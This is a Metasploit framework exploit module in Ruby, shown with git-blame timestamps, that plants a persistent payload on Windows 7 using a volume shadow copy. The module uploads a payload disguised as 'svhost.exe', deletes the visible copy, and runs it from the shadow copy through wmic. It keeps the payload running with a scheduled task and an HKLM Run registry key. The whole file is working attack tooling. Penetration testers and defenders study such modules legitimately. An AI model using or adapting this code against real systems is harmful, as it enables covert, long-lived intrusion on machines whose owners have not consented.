metasploit-framework/modules/exploits/windows/local/vss_persistence.rb

199 lines
6.6 KiB
Ruby
Raw Normal View History

2013-10-11 00:20:09 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2013-10-21 18:36:15 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-10-11 00:20:09 +00:00
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
2013-10-11 00:20:09 +00:00
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
2013-10-11 00:20:09 +00:00
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Post::Windows::Services
include Msf::Post::Windows::Registry
include Msf::Exploit::EXE
2013-10-11 00:20:09 +00:00
def initialize(info={})
super(update_info(info,
2013-10-15 15:03:00 +00:00
'Name' => "Persistent Payload in Windows Volume Shadow Copy",
2013-10-11 00:20:09 +00:00
'Description' => %q{
2013-10-15 17:13:18 +00:00
This module will attempt to create a persistent payload in a new volume shadow copy. This is
2013-10-15 14:56:18 +00:00
based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has
been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY
option, the user should need password in order to start session on the target machine.
},
2013-10-15 17:59:19 +00:00
'Author' => ['Jedediah Rodriguez <Jedi.rodriguez[at]gmail.com>'], # @MrXors
2013-10-11 00:20:09 +00:00
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [ [ 'Windows 7', {} ] ],
'DefaultTarget' => 0,
2013-10-11 21:17:50 +00:00
'References' => [
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ],
[ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']
],
'DisclosureDate'=> "Oct 21 2011"
2013-10-11 00:20:09 +00:00
))
2013-10-11 00:20:09 +00:00
register_options(
[
OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']),
OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]),
OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]),
OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]),
OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]),
OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]),
2013-10-11 00:20:09 +00:00
], self.class)
2013-10-11 00:20:09 +00:00
end
2013-10-14 07:12:37 +00:00
def exploit
@clean_up = ""
print_status("Checking requirements...")
os = sysinfo['OS']
unless os =~ /Windows 7/
print_warning("This module has been tested only on Windows 7")
end
2013-10-14 07:12:37 +00:00
unless is_admin?
print_error("This module requires admin privs to run")
return
end
2013-10-14 07:12:37 +00:00
if is_uac_enabled?
print_error("This module requires UAC to be bypassed first")
return
end
print_status("Starting Volume Shadow Service...")
2013-10-14 07:12:37 +00:00
unless start_vss
print_error("Unable to start the Volume Shadow Service")
2013-10-14 07:12:37 +00:00
return
end
print_status("Uploading payload...")
remote_file = upload(datastore['RPATH'])
print_status("Creating Shadow Volume Copy...")
unless volume_shadow_copy
fail_with(Failure::Unknown, "Failed to create a new shadow copy")
end
print_status("Finding the Shadow Copy Volume...")
2013-10-14 07:12:37 +00:00
volume_data_id = []
cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\""
2013-10-14 07:12:37 +00:00
output = cmd_exec(cmd)
output.each_line do |line|
cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}")
volume_data_id = "#{cmd_regex}"
end
print_status("Deleting malware...")
file_rm(remote_file)
if datastore["EXECUTE"]
print_status("Executing #{remote_file}...")
execute(volume_data_id, remote_file)
end
if datastore["SCHTASK"]
print_status("Creating Scheduled Task...")
schtasks(volume_data_id, remote_file)
end
if datastore["RUNKEY"]
print_status("Installing as autorun in the registry...")
install_registry(volume_data_id, remote_file)
end
unless @clean_up.empty?
log_file
end
2013-10-14 07:12:37 +00:00
end
def upload(trg_loc="")
if trg_loc.nil? or trg_loc.empty?
location = "\\Windows\\Temp"
2013-10-11 00:20:09 +00:00
else
location = trg_loc
end
file_name = "svhost#{rand(100)}.exe"
file_on_target = "#{location}\\#{file_name}"
exe = generate_payload_exe
begin
write_file("#{file_on_target}", exe)
rescue ::Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NotFound, e.message)
2013-10-11 00:20:09 +00:00
end
return file_on_target
2013-10-14 07:12:37 +00:00
end
2013-10-11 21:17:50 +00:00
2013-10-14 07:12:37 +00:00
def volume_shadow_copy
begin
id = create_shadowcopy(datastore['VOLUME'])
rescue ::Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NotFound, e.message)
2013-10-11 00:20:09 +00:00
end
2013-10-11 00:20:09 +00:00
if id
2013-10-14 07:12:37 +00:00
return true
else
return false
2013-10-11 00:20:09 +00:00
end
2013-10-14 07:12:37 +00:00
end
2013-10-11 21:17:50 +00:00
def execute(volume_id, exe_path)
run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
cmd_exec(run_cmd)
2013-10-14 07:12:37 +00:00
end
2013-10-11 21:17:50 +00:00
def schtasks(volume_id, exe_path)
sch_name = Rex::Text.rand_text_alpha(rand(8)+8)
global_root = "\"\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\""
sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}"
cmd_exec(sch_cmd)
@clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n"
2013-10-14 07:12:37 +00:00
end
2013-10-11 21:17:50 +00:00
def install_registry(volume_id, exe_path)
global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
nam = Rex::Text.rand_text_alpha(rand(8)+8)
hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
print_status("Installing into autorun as #{hklm_key}\\#{nam}")
res = registry_setvaldata("#{hklm_key}", nam, "#{global_root}", "REG_SZ")
if res
print_good("Installed into autorun as #{hklm_key}\\#{nam}")
@clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n"
2013-10-14 07:12:37 +00:00
else
print_error("Error: failed to open the registry key for writing")
2013-10-11 00:20:09 +00:00
end
end
2013-10-11 21:17:50 +00:00
2013-10-14 07:12:37 +00:00
def clean_data
host = session.sys.config.sysinfo["Computer"]
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
::FileUtils.mkdir_p(logs)
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
return logfile
2013-10-11 00:20:09 +00:00
end
2013-10-11 21:17:50 +00:00
2013-10-14 07:12:37 +00:00
def log_file
clean_rc = clean_data()
file_local_write(clean_rc, @clean_up)
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
end
2013-10-11 00:20:09 +00:00
end